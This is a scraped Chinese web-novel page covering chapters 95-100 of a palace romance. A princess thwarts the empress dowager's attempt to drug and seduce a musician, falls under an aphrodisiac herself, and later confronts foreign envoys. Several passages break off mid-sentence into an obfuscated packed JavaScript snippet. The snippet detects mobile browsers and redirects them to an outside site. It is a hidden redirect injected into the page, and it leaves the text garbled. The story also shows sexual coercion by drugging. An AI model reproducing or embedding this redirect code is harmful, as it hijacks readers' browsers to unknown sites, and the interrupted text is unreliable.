说着,她的手,又摸向了他光滑的侧脸:“别紧张,待会子药劲儿起了,你定会求哀家疼惜你的。” 霖州脸上已经染了酡红,眼里却怒意未减:“东陵国最尊贵的女人,也不过如此,为了一场艳事,竟然不惜用如此卑鄙的手段,真是可笑!” 太后原本温柔的脸色陡然变冷,抬手就狠狠地给了霖州一个耳光:“哀家劝你,看清现在的局势,若是你老老实实的伺候哀家,哀家不但可以留你一命,还能让你升官发财,若是你再敢违逆哀家,明日天亮,就是你命丧黄泉之时!” 慕馨宁那个**别的不说,倒是惯会享受的,而且眼光也不错,这个霖州,深得她心,这次被她捷足先登,慕馨宁定会气个半死吧。 既然这个霖州这么不识趣,那待她满足之后,定要让他永远开不了口才能安心。 内殿里逐渐升温,王福夹着一把拂尘,在门外打盹,忽然听见里头的响动,眼里闪过一抹兴味,皮相好能怎么样,多了那么一根东西又怎么样,到头来落得这般下场,还不如他一个太监风光。 他靠在柱子上,正打算再眯一会儿,院子里忽然多了几个人影。 王福吓了一跳,还以为是眼花。 寝殿里,太后的手,已经解开了霖州的衣襟,摸着他精壮光滑的身子,顿时觉得口干舌燥,心跳的厉害。 霖州已经不再挣扎,他看了一眼门口,心里一片死灰,他果然是不配长公主来相救吧,但愿下辈子投个好胎。 就在太后瞪大眼睛,血液沸腾的要扯掉霖州的裤子时,就在霖州视死如归的张嘴,打算咬舌自尽的时候,外头忽然传来王福的惊呼声。 “哎呦,皇上,长公主,这个时候你们怎么来了!” 太后一个颤抖,不可置信的以最快的速度奔向窗棂。 昏暗的光线下,果然看见慕馨宁和永平帝的身影。 永平帝强忍着打哈欠的冲动开口:“听说母后病重,朕和长公主当然要来瞧瞧,太医马上就到,母后怎么样?” 王福一脸错愕:“太后好好的,没有生病啊?” 他话音落,忽然想到了什么,有些不可置信的看向慕馨宁。 听说这些日子慕馨宁跟那个霖州走的特别近,对霖州也是格外关照,莫不是慕馨宁知晓了什么,为了霖州,特意带着皇上来抢人的? 感受到王福的打量,慕馨宁一脸正色道:“怎么可能,宋菀菀特意让人来给本宫传的话,难道她是戏耍本宫的?” 王福一脸复杂的挠了挠下巴,惠明公主胡闹惯了,对太后一直不杀慕馨宁的事情很是愤懑,她不会这么胆大妄为,为了借刀**让太后收拾慕馨宁,就要搅了太后的好事吧? 他有些不安的看了一眼太后的寝殿,皮笑肉不笑的开口:“都这么晚了,太后娘娘早就歇下了,奴才这是值夜呢,皇上和长公主明日再来吧,若是打扰了太后休息,她的头风怕是又要犯了。” 永平帝看了慕馨宁一眼:“既然母后没事,咱们就回去吧。” 慕馨宁犹豫了一下,虽然她已经到了门口,但是也不好硬闯,但是来都来了,太后肯定也会记恨她,她要是无功而返,也觉得窝囊。 “皇上长公主慢走,明日一早太后醒过来,老奴一定向太后好好表达你们的孝心。” 王福说的好听,就是要送客了。 永平帝大步流星就往外走,慕馨宁有些头疼。 就在永平帝即将走远,慕馨宁不知所措的时候,屋顶忽然落下来一块瓦片,砰的一声砸在青石砖上,摔的粉碎。 慕馨宁急中生智,大喊一声:“皇兄,有刺客,快派人保护母后的安全!” 王福亲眼所见掉下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650989|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的瓦片,顿时也担忧太后的安全,不等他有所反应,鸦羽已经拔剑,率先冲进了太后的寝殿。 慕馨宁紧随其后,王福也连忙跟上。 寝殿里,太后安静的躺在床上,双眼紧闭,像是正在熟睡,里头也没有霖州的影子。 王福擦了擦额头上的冷汗,这要是被人撞见太后跟别的男人在一起的情形,皇上不杀太后,也定会以此作为威胁夺了她的权势,幸好太后反应快。 “什么味道?”慕馨宁闻到那股甜腻的香气之后,顿时觉得寝殿里有些闷热。 王福咳嗽一声道:“太后睡眠不好,太医院给太后制了安神香,没想到还挺管用,这么大的动静,太后娘娘还睡的如此安稳。” 慕馨宁故作松了一口气的样子:“母后没事就好,皇兄你说说,这宋菀菀想要报复我也就算了,怎么还能拿母后做幌子?” 宋菀菀做了那么多恶事,她拿宋菀菀做挡箭牌,半点也不觉得愧疚。 永平帝没进内殿,就站在外殿门口。 他打开折扇,用力的扇了两下,才觉得凉快一些:“行了,也不是什么大事,别跟她计较了。” 当初慕馨宁抹宋菀菀脖子的事情,他也听说了,太后隐忍不发,宋菀菀都告到他那里去了。 各国使臣就要来东陵,他也不好收拾慕馨宁,只允诺宋菀菀过后再说,并且赏了一些东西打发了,没想到宋菀菀竟然想到了这种算计人的法子。 但是永平帝也疑惑,既然宋菀菀算计慕馨宁,怎么人也没露面,也没施展什么阴谋诡计,把慕馨宁折腾到这里就算结束了? 出了景阳宫,永平帝渐渐感觉到身体的变化,他顿时察觉到了什么。 太后寝殿里的香气,不像是能安神的,他闻着怎么感觉到了一股燥热,还有了那种想法? 这时,一个侍卫冒了出来,压低声音跟永平帝说了什么,永平帝脸色大变。 慕馨宁还三步一回头,太后寝殿也没看见霖州的人影,也不知道人被太后藏到哪里去了。 但是她一个晚辈也不好去搜查长辈的寝殿,她能做的只有这些了,但愿霖州能摆脱那个老女人的魔爪吧。 她又对鸦羽小声交代:“安排两个人,暗地里寻寻霖州的行踪,别让太后的人发现。” 话刚说完,永平帝咬牙切齿的声音就响起:“慕馨宁,真是好的很,竟然连朕也算计!” 第96章 手伸进他的衣襟 慕馨宁干笑一声,没想到永平帝的情报竟然这么快。 “皇兄,想想您那一年二十四万两白银,十年可是二百四十万……” 永平帝啪的一下合上折扇,怒指慕馨宁,给了她一个‘你给我等着’的眼神,快步往自己的寝宫走。 慕馨宁为了一个小白脸,竟然甘愿一年给他二十四万两白银,真是好的很。 这件事他一定要告诉晏骁寒,若是晏骁寒不收拾慕馨宁,晏骁寒就不是个男人! 永平帝一走远,慕馨宁顿时也觉得燥热难耐,对那方面的渴望十分强烈。 她连忙从身上摸出一个小药瓶,就见杜若正眼巴巴的看着她。 杜若吞了吞口水:“主子,这是解药吧……” 太后那个老女人真会玩儿,竟然还点催情香,可是害苦大家了! 慕馨宁又看了看鸦羽,鸦羽虽然什么也没说,但是表情也很不自在。 慕馨宁将药瓶里的药丸都倒出来,正好三粒,慕馨宁差点笑出声来,老天对她不薄。 “你们快吃。”慕馨宁分给杜若和鸦羽一人一粒。 两个人迅速将药丸吞下,杜若差点被噎得翻白眼。 到慕馨宁自己的时候,忽然手一抖,药丸掉在了地上。 “我的药……”慕馨宁心头一紧,连忙蹲下身寻找。 昏暗的光线下,她一阵摸索,忽然摸到了一只鞋子。 慕馨宁吓了一跳,没等尖叫,耳边传来杜若的声音:“见过首辅大人……这么晚了,首辅大人怎么还在宫里?” 慕馨宁抬头,就看见了晏骁寒那张比夜色还要黑沉的俊脸。 他俯下身,对上慕馨宁的双眼,居高临下的看着她,一字一句:“你觉得,本官为什么这么晚了出现在这里?” 这声音,这语气,大有咬牙切齿的感觉, 慕馨宁不经意想起太后寝殿落下来的那片瓦,有些不可置信:“你干的?” 她指了指城墙上的瓦檐开口。 晏骁寒嗤笑一声,自嘲道:“本官乃当朝首辅,却要帮着自己的未婚妻解救别的男人,这件事要是传出去,怕是要笑掉天下人的大牙吧。” 看着那张近在咫尺的俊脸,慕馨宁顿时觉得心里痒的厉害,血液里仿佛有千百只蚂蚁在啃食。 她站起身,想要离晏骁寒近一些。 她早就忘了她刚刚蹲下身要干什么了。 就在慕馨宁要贴上他的身子时,晏骁寒侧身躲开:“为了一个乐人,每个月要给皇上两万白银,长公主真是财大气粗。” 慕馨宁知道,他这是生气了,她伸手扯他的袖子:“急什么,到时候我让霖州双倍给我赚回来。” 晏骁寒抓着慕馨宁的胳膊,动作粗鲁的将人往一个方向拖:“怎么赚,伺候你之后,你还让他去伺候别人?” 晏骁寒觉得,慕馨宁也就这点本事了。 “你说话别这么难听行不行……” 慕馨宁想要挣扎,可是身上一点力气都没有。 眼看着慕馨宁就要被晏骁寒拖着越走越远,杜若就要去追:“主子……” 鸦羽挡住她的去路:“应该不会有事。” 杜若心急如焚,万一自家主子吃了亏怎么办? 可是喉咙里的异物提醒着她,慕馨宁掉了一颗药丸。 算了先不管主子,她还是先找解药吧。 她们两个都把药吃下去了,也不能再吐出来。 此时,慕馨宁被晏骁寒拉扯着到了一处拐角,她还没等开口,人就被抵在了墙上。 “你……干什么……” 晏骁寒的俊脸近在咫尺,慕馨宁能闻到他身上似有若无的冷香,她开始不停的吞口水。 “告诉本官,那个霖州,给你灌了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650990|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么**药?” 晏骁寒怒意未减,大手捏住了慕馨宁的下巴,略粗糙的指腹有一下没一下的摩挲她的唇瓣,酥麻感瞬间从唇间蔓延至心头,然后直至全身的每一滴血液,每一个毛孔。 若是平日,慕馨宁定不会甘愿处于这种弱势的境地,可是她此时已经控制不住自己了。 她伸手,一把抱住晏骁寒的腰,有些委屈:“你吃醋了……好歹是条人命,我……” 晏骁寒一把拿开慕馨宁的手,似笑非笑:“长公主什么时候变得这么善良了,本官还真是钦佩。” 慕馨宁顿感尴尬,脸上仿佛更热了。 “你能出手帮忙,我很感激,你有什么条件,我尽量满足你行不行?” 晏骁寒难得笑出声来,慕馨宁忽然感觉遍体生寒。 他的唇,靠近她的耳边,声音磁性:“本官能有什么条件,本官现在唯一奢求的,就是长公主您不要落井下石,借刀**,本官就心满意足了。” 他清浅的呼吸喷洒在她耳边,慕馨宁有些无地自容。 她知道晏骁寒是在说她借太后的手算计他的事情。 感受到晏骁寒眼里的讥诮,慕馨宁也来了火气,她壮着胆子,一把揪住晏骁寒的衣领:“你还有理了,你当初那么对本宫,本宫都没跟你算账,竟然还追着本宫羞辱,你是不是觉得本宫真的好欺负?” 晏骁寒一时间无言以对,所以这女人之所以那般记恨他,就是因为那两节树枝? 他张了张嘴,话到嘴边,又咽了下去。 慕馨宁已经逐渐失去理智,她现在特别想跟晏骁寒那什么,尤其男人还长着一张人神共愤的俊脸。 她松开晏骁寒的衣领,将手直接伸进他的衣襟。 晏骁寒刚要消下来的火气,顿时腾的一下又燃了起来:“现在,是不是只要是个男人,你都想跟他共度春宵?” 第97章 求求你,别脱了 慕馨宁如愿摸到了他健硕发达的胸肌,她感觉人都有些飘飘然,嘴上却振振有词:“我就想摸摸,你心里到底有没有我。” 晏骁寒无奈的吸了口气,抬手摸了摸她滚烫的额头,就那么一点药,人就糊涂成了这个样子。 若是她中的也是宫中秘药的话,还不知**成什么样子。 慕馨宁整个人都贴在了他的身上,感受着她身体的滚烫,晏骁寒怒气未消,一把将人推开。 慕馨宁拼命摇了摇头,努力让自己清醒几分。 “你走吧。”她虽然很渴望,但是也知道这厮是在拒绝她。 晏骁寒的脸色更加阴沉,一把抓住她的胳膊,又将人重新扯进怀里:“求我。” 慕馨宁抬头,看着他的侧颜,即使不停的吞口水,依旧口干舌燥。 她挣扎,求他是不可能的,天底下男人那么多,她何必低声下气。 大不了,就跟那个老女人一样,抓个男人就行了。 晏骁寒看出了慕馨宁的抗拒,他忽然搂住她的腰,带着慕馨宁腾空而起。 一阵晕头转向,不知过了多久,她似乎被带进了一处宫殿。 慕馨宁双眼迷离的环顾四周,顿时觉得有几分熟悉。 “你什么时候求我,我什么时候满足你,如何?” 晏骁寒松开她,坐在对面的椅子上,镇定自若。 慕馨宁想骂人,她转身冲向门口,却发现门被反锁着。 她回头,不等破口大骂,晏骁寒已经脱了外衣。 看着他宽肩窄腰健硕强壮的身材,慕馨宁靠着门板,无力的跌坐在地上。 与其说是诱惑,不如说折磨更为贴切。 求他一下也没关系吧,毕竟别的女人跪在地上涕泪横流的求他垂怜,他也不会心软的。 晏骁寒脱了外衣,又要脱里衣。 慕馨宁猛的吸了一口气:“求求你……” 晏骁寒眼里闪过一抹得逞,刚要上前将人扶起来,却听她道:“求求你,别脱了……” 这厮是在色诱她,绝对没安好心,他不会趁着自己鬼迷心窍时盘问她的底细,逼迫她交出三万私兵的令牌吧? 要不是她上一世饱受那么多摧残,增长了她的忍耐力,她就要控制不住,不顾一切的扑过去了…… 晏骁寒嗤笑一声,站在那里没动。 慕馨宁盯着他的身子,人已经就要疯了。 该死的老女人,竟然用那么大劲儿的**,她明明就吸了几口而已啊。 “你赶紧滚蛋,别招惹我。” 慕馨宁整个人趴在冰冷的地砖上,才觉得好受几分,只可惜,那也只能得到片刻的缓解。 慕馨宁管不了那么多了,直接脱衣服。 晏骁寒饶有兴致的看着她,不是让他滚蛋么,这就后悔了? 慕馨宁脱了外衣,在地砖上滚了两圈,直到她觉得不起半点作用,不得已才又攀上晏骁寒的身子。 晏骁寒大手穿过她凌乱的黑发,看着她满是嫣红的脸:“现在,想求我了?” 慕馨宁求人的话明明到了嘴边,却拼命吞了回去:“有句话叫欠债还钱……虽然你那日没有和我做到最后一步……但是我也替你解决了,要不然……” 她抓着晏骁寒修长好看的大手,伸进自己的衣襟,她不是在求他,是在跟他算账。 晏骁寒的俊脸,一寸寸被冰封。 他沉着脸,抓着慕馨宁的手腕,绕过屏风,直接将人丢进了冰水里。 慕馨宁吓了一跳,不等骂人,顿时觉得十分凉爽,人更清明了几分。 “你做什么?” 晏骁寒眼睁睁看着,她从身上摸出一粒药丸来。 慕馨宁嘴角上扬:“睡一觉……就没事了吧……” 话音落,她将那粒药丸直接吞了下去。 晏骁寒想要伸手阻拦,只可惜晚了一步。 中了那种药,又吃**,她的身子骨能受得住? 晏骁寒后悔了。 夜黑风高,一个人影,夹着什么东西匆匆出了皇宫,那东西湿漉漉的,还在往下滴水…… 姬神医睡的正香,房门砰的一声巨响。 猝不及防,他本能的坐起身来:“大胆……” 他已经摸向了枕头下的药粉,看清来人之后,顿时愣住:“你小子这个时候怎么来了?” 晏骁寒动作粗鲁的将胳膊下的人影丢在一旁的躺椅上:“给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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马车没走多远,外头传来即墨的声音。 一想起之前即墨送给自家主子那两节树枝,杜若愤怒的掀开车帘:“拿走,不要!” 即墨顿了顿:“长公主,我家主子说这东西您定能用的上,您确定不要?” 第98章 心仪长公主 慕馨宁掀开车帘,看了看即墨手里的折子,又看了看自己手里的折子,大概也猜到了是什么。 她很想有骨气一些,拒绝晏骁寒的好意,可是……算了,给晏骁寒点面子吧。 她以最快的速度将北赫使臣的喜好过了一遍,不求广结善缘,只求不要与人结怨。。 很快,马车就到了地方。 过了午时,街头巷尾的百姓越来越多,她们也是知道北赫使臣要来,都是来看热闹的,简直是人满为患。 慕馨宁叮嘱刘营:“一定要确保北赫使臣的安全,有什么可疑之人先抓了再说。” 要是这个时候冒出刺客来,不管北赫使臣有没有受伤,依旧有损东陵颜面。。 刘营点头:“殿下放心,玄翎特意拨了五千私兵,绝对不会有问题。” 慕馨宁松了口气,回头看了一眼随她一起迎接北赫使臣的官员,最后将目光落在吴萸身上:“你这脸还没好?” 吴萸已经尽量减轻自己的存在感,但还是被慕馨宁注意到。 自打那日出宫,听见吴萸的尖叫声之后的第二天,慕馨宁就看见了他鼻青脸肿的样子,这都过去多少天了,脸上竟然还有未散去的青紫。 吴萸勉语气不咸不淡:“快好了。” 慕馨宁没再理会他,吴萸忽然上前一步,隐忍着压低声音:“长公主知道在天愿作比翼鸟……” 他忍了好几日,实在是忍不下去了,只可惜,他话没说完,忽然被一只大手死死的捂住了嘴。 吴萸想要挣扎,耳边传来随从的警告声:“大人,您的命还要不要,您不要,小的还想好好活着!” 看着主仆两个人奇奇怪怪,慕馨宁刚要问怎么回事,耳边传来一道声音: “长公主,首辅大人怎么还没来?” 礼部侍郎朱大人环顾四周之后,有些担忧的问慕馨宁。 这北赫使臣估计都不是好相与的,要是他们为难,有晏骁寒在,也可以挫一挫他们的锐气。 可是晏骁寒没来,却由臭名昭著的长公主带头迎接,估计北赫那些个使臣是要气的七窍生烟,更加为难他们了。 慕馨宁没再管吴萸主仆,看向朱大人:“怎么,怕了,怕了就回去。” 朱大人顿时一脸讨好,笑的露出泛黄的大板牙:“有长公主坐镇,下官有什么可怕的,下官一定会为了东陵鞠躬尽瘁、死而后已!” 慕馨宁翻了个白眼,这位朱大人,别的本事没有,阿谀奉承倒是最拿手。 要是他的那个女儿朱小姐,也能有朱大人这样见风使舵的本事,何至于总是给她添堵。 斜对面的茶楼上,晏骁寒一身紫色官服正襟危坐的喝茶,目光时不时的落在楼下。 脑海里,是那个女人搂着他的腰,将整个身子都贴在他身上的情形。 其实,只要他稍稍主动一点,她就会全部给他的…… 即墨低头看脚尖,自家主子一大早就收拾好了,就等着长公主上门。 可是这都过了中午,长公主这边已经准备就绪了,也没去府上请人,看样子是把他家大人忘了。 哼,等一会要是北赫使臣找她的麻烦,她肯定会想起他家主子来。 “怎么,骁寒,你不会真喜欢上她了吧?”对面的人打破了短暂的安静,一脸打趣的看着晏骁寒。 晏骁寒抬眸瞥了他一眼:“西梁使臣三日后才会入京,你快马加鞭提前来,就是为了看本官的笑话?” 此人正是西梁使臣姬无忧,最有希望继承西梁皇位的五皇子。 姬无忧心头一沉,他这话只是试探,可是晏骁寒并没有急着否认,由此来看,莫非他真的喜欢上了那个臭名昭著的长公主? 他收回思绪,笑道:“哪有,我这不是想着我们兄弟多年不见了,所以快些来瞧瞧你么。” 姬无忧理了理肩上的头发,起身直接趴在窗口往外看。 他的目光轻易就落在了慕馨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658866|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁身上,客观的点评:“看样子有几分姿色,不过倒是不像是温柔小意的,你们东陵有个词叫什么……母老虎……” 别人如何**,但是他,远远的就感觉到了慕馨宁的盛气凌人。 姬无忧又想起什么:“我听说她名声也不好,之前养了不少男宠,还在外面到处招惹是非,你到底看中了她哪一点?” 说到这里,他忍着笑回头看了一眼晏骁寒,正色道:“不会是因为她床上功夫好吧,我跟你讲,你就是睡的女人太少,没见过什么世面,改天我送你几个我们西梁的姑娘,那柔的能掐出水来,肯定比那个长公主强……啊……” 话没说完,姬无忧忽然感受到背后无形的掌力,整个人朝着楼下跌去。 此时,北赫使臣已经进了城门。 慕馨宁带着大臣们刚要上前迎接,楼上就掉下来一个人。 即使姬无忧有功夫,但是他反应太慢,轻功还没施展,人已经趴在了地上。 “什么人!” 慕馨宁一脸警惕,还以为是来了刺客。 姬无忧刚一抬头,好几个侍卫已经将他团团围住。 “误会……误会……”姬无忧一脸尴尬的看向楼上,只看见了即墨幸灾乐祸的样子。 见面前只有他一人,慕馨宁没再怀疑,只是看着他满头的小辫儿,微微挑眉。 “说,你干什么的,怎么摔下来的?”侍卫手里的长剑直指姬无忧,板着脸盘问。 姬无忧从地上爬起来,拍了拍身上的土,朝着慕馨宁露出一个自以为很迷人的笑容:“在下就是久闻长公主大名,一直无缘得见,如今终于有了这个机会,一时激动,就从楼上摔了下来。” 姬无忧说着,谄媚的从身上掏出一串七彩宝石项链,虽然项链半点也谈不上美观,但是那一个个鸽子蛋大的宝石,在阳光下熠熠生辉,简直要亮瞎人的双眼。 “我心仪长公主许久了,一点心意,还请长公主笑纳……” 第99章 天大的笑话 楼上窗前,多了一抹紫色人影。 即墨有些担忧,自家主子送了长公主两节树枝,被长公主一顿嘲讽,还占了便宜。 姬无忧长得也算不错,又拿出这么贵重的宝石来讨好慕馨宁,她不会一个高兴就接受了吧? 那自家主子的脸面,还往哪放? 众目睽睽之下,慕馨宁果然伸手,她面无表情的拿起那项链打量片刻,又看了看姬无忧,随即递给身后的杜若。 杜若差点没接住,这么沉,这得有一斤吧,这得值多少钱,岂不是能把这条街都买下来! “在下在明月楼略备薄酒,还请长公主晚上赏光,到时候在下定会再备上重礼。”姬无忧的目光里带了几分黏腻。 他心里得意,不过一串宝石就把晏骁寒喜欢的女人搞到手了,这女人还真是廉价。 即使她是长公主,他也觉得配不上晏骁寒,他这么做,也是为了兄弟好。。 慕馨宁神色未变,语气冷淡:“明月楼就算了,大概三日后,皇上为各国使臣设接风宴,西梁皇子一定要赏光啊。” 姬无忧脸上的得意之色一僵:“你怎么会认得我?” 他虽然是西梁皇子,但是很少抛头露面,从小都是养在山上,跟师父学艺,这才回西梁不到一个月而已。 慕馨宁笑了笑,问杜若:“你能认得他吗?” 杜若挺了挺小身板:“当然,咱们东陵男子可没有编一头辫子的爱好,只有西梁才有,而且这位……衣着华丽,出手又这么大方,估计不是普通人。” 慕馨宁抬了抬下巴:“本宫还有事,西梁皇子自便吧。” 她刚要走,又顿住脚步:“对了,多谢西梁皇子的慷慨解囊,本宫打算把它换成金银,多建几座免费的学堂。” 姬无忧张了张嘴,所以他什么也没得到,还白搭上一条宝石项链? 姬无忧的侍从简直是一脸苦大仇深:“五殿下,那是王后特意为您未来的王妃准备的……” 姬无忧一阵肉疼的摸了摸胸脯,然后没好气的道:“那又怎么样,再让她准备一条不就行了。” 侍从:“……” 此时,慕馨宁已经迎上了北赫使臣。 最前面的北赫皇太孙赫连儒看见慕馨宁之后,脸色瞬间铁青:“你们东陵是没有男人了吗,竟然让一个女人接待我北赫?” 这一上来就挑刺,话还说的这么难听,东陵的官员们瞬间脸色尴尬,他们不是男人吗? 可是他们再生气,却敢怒不敢言。 礼部孙尚书怒喝一声:“放肆,这是皇上和太后特意安排接待北赫使臣的长公主!” 慕馨宁侧头看了一眼孙尚书,嘴角扯过一抹冷笑。 外人看来,这孙尚书是在维护她,实则还不是故意挑起北赫对她的不满? 赫连儒身后的百里尧语气轻蔑:“长公主怎么了,她的臭名都传遍我们北赫了,晏骁寒怎么没来,你们东陵这是什么态度?” “你赶紧回去告诉东陵皇帝,要么现在立刻亲自来接待我们,要么我们这就回北赫,也不必议和了!” 慕馨宁身后的官员顿时慌乱起来,急的犹如热锅上的蚂蚁,一个个都想打圆场,却被礼部尚书制止。 楼上,晏骁寒将这一切尽收眼底。 姬无忧此时正狼狈的坐在椅子上。 他咳嗽一声,有些幸灾乐祸:“你不会这就替她要出头吧?” 他对慕馨宁的印象更差了,收了他的东西就应该答应他的邀约,还扯什么建学堂的假话来装好人,他肯定那一串宝石慕馨宁定是要私吞的! 晏骁寒是眼睛有问题,还是这辈子只碰过慕馨宁一个女人,竟然喜欢上她? 晏骁寒没有答他的话,对身后的即墨道:“既然他这么有钱,那就把他身上所有值钱的东西都扣下。” 晏骁寒话音落,即墨已经将人按住,就在姬无忧要挣脱开的时候,三个暗卫凭空出现,将人钳制的死死的。 姬无忧鬼哭狼嚎,他浑身上下只剩下一条亵裤,所有值钱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658867|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西都被即墨抢走了。 即墨还十分卑鄙的扯开了他的亵裤,往里头瞧了瞧。 “晏骁寒,你卑鄙无耻……等我回了西梁……我就要出兵,将你们东陵夷为平地!”姬无忧一边穿衣服,一边脸色难看的朝着晏骁寒叫嚣。 即墨连姬无忧的随从也没放过,随从受了鱼池之殃,人也被扒的只剩一条亵裤。 晏骁寒对姬无忧的狼狈和愤怒视若无睹,他看着满桌子的珠宝,语气淡淡:“他不是要建学堂,那这些钱,就拿去建医馆,就开在学堂附近。” 即墨心痛,为了一个慕馨宁,自家主子都要跟至交反目了,果然是红颜祸水。 楼下已经乱作一团,说什么的都有。 礼部尚书幸灾乐祸,今日晏骁寒不在,慕馨宁出头本就是自取其辱,如今又得罪了北赫使臣,永平帝能给她好果子吃? 吴萸虽然对慕馨宁有些不满,但还是上前,压低声音对慕馨宁道:“实在不行,你先服个软,把人拖住,我让人去请晏骁寒过来吧?” 慕馨宁侧头淡淡的看了他一眼,嘴角勾了勾。 吴萸一时间搞不明白她这是何表情,就见慕馨宁挺直脊背,抬腿朝着北赫使臣走去。 众目睽睽之下,慕馨宁停在北赫皇太孙赫连儒面前:“你话里的意思,是瞧不起本宫是个女人?” “本王不仅瞧不起你是个女人,还觉得你恶心。” 说着,赫连儒还用帕子捂住了口鼻,嫌弃二字不言而喻。 跟那么多男人上过床,没准还染了什么脏病,永平帝是脑子坏了,才让慕馨宁接待他北赫。 本以为,慕馨宁定会面红耳赤无地自容,又或者直接跟赫连儒动手,至少也得破口大骂。 没想到她却大笑出声,仿佛是听了一个天大的笑话。 “啊哈哈哈……哈哈哈……” 众人更懵。 赫连儒的脸色越来越难看,手已经摸向了自己的佩剑,他身后的百里尧已经拔出了自己的大刀。 第100章 晏骁寒的杀气 鸦羽一脸警惕的上前一步,将慕馨宁护在身侧,刘营大手一挥,身后所有侍卫皆是将弓箭对准了北赫使臣。 双方剑拔**张,围观的百姓慌张的不停后退,生怕受了牵连。 茶楼,穿好衣服的姬无忧趴在窗口,一边看热闹一边故作担忧的问晏骁寒:“你不担心她的安全吗?” 其实他口不对心。 慕馨宁也不掂量掂量自己几斤几两,竟然如此嚣张,一会儿丢了性命,也是她自作自受。 赶紧一命呜呼算了,这样晏骁寒就不会再因为她犯傻,对自己的兄弟动手。 晏骁寒满面寒霜,眼底闪过一抹杀意:“小小北赫,到了我东陵皇城,还敢如此放肆,若是北赫敢动手,就让他们有来无回。” 他话音落,上百道黑影犹如鬼魅般闪过,最后隐没在哪里,没人知晓。 姬无忧心头一个哆嗦,为了一个臭名昭著的女人,晏骁寒竟然这么大手笔? 许久,楼下的慕馨宁才收了笑意,她擦了擦眼角笑出来的眼泪,对上赫连儒喷火的双眼,嘴角控制不住的上扬:“说这话的时候,你是不是应该先给自己添点东西?” 就在众人一脸疑惑的时候,慕馨宁从身上掏出两个核桃。 “这……这是做什么?”有人看不明白,不停的挠头。 “可能是,请北赫使臣吃核桃?” 所有人都疑惑不解,唯独赫连儒,原本因为愤怒涨红的脸上,渐渐没了血色。 “慕馨宁,你这是什么意思?”他明明有了怀疑,但是还抱有一丝侥幸。 不可能,慕馨宁怎么可能知道他的秘密,那件事连他最亲近的人都不知晓。 见赫连儒故意装傻,慕馨宁腾出一只手来,在身上掏啊掏,然后,掏出一根香蕉来。 “这回……” “慕馨宁!” 慕馨宁刚要开口,赫连儒面无血色,急忙打断:“念你是东陵长公主,本王给你几分薄面,今日这事就算了。” 众人更是疑惑,刚刚那个皇太孙还一副嚣张狂妄的样子,怎么这一下子态度就变了? 慕馨宁很满意赫连儒的态度,将手里两个核桃丢给刘营,自己慢条斯理的吃起香蕉来。 刘营虽然不懂慕馨宁的意思,见慕馨宁吃香蕉,他一手一个核桃,轻易捏碎,将核桃仁挑挑拣拣,一把都丢进嘴里。 百里尧看着主仆二人的做派,虽然一头雾水,却也火冒三丈,他手里的大刀指向慕馨宁:“你们这是何意?” 赫连儒惨白的脸色缓和几分,将百里尧举起的刀按下:“可能是她饿了,没吃午饭。” 百里尧:“……” 北赫使臣:“……” 皇长孙殿下什么时候这么善解人意了,竟然还关心一身臭名的长公主有没有吃饭? 所有人都看着慕馨宁吃香蕉。 等慕馨宁一根香蕉吃完,用帕子擦了擦嘴,才对北赫重使臣道:“诸位一路舟车劳顿,应该还没吃午饭吧,梧台已经备好酒席,诸位请。” 梧台,就是帝王在宫外所建,专用于接待各国使臣的住所。 赫连儒没有说话,百里尧却怒目圆瞪:“我们千里迢迢来东陵,就是为了拜见东陵皇帝,为什么不安排我们进宫?” 慕馨宁打了个哈欠:“近日要来东陵的,不只你们北赫的使臣,还有西梁、南岳、伊吾、蒙古,琉球,这五国使臣也要来东陵。” 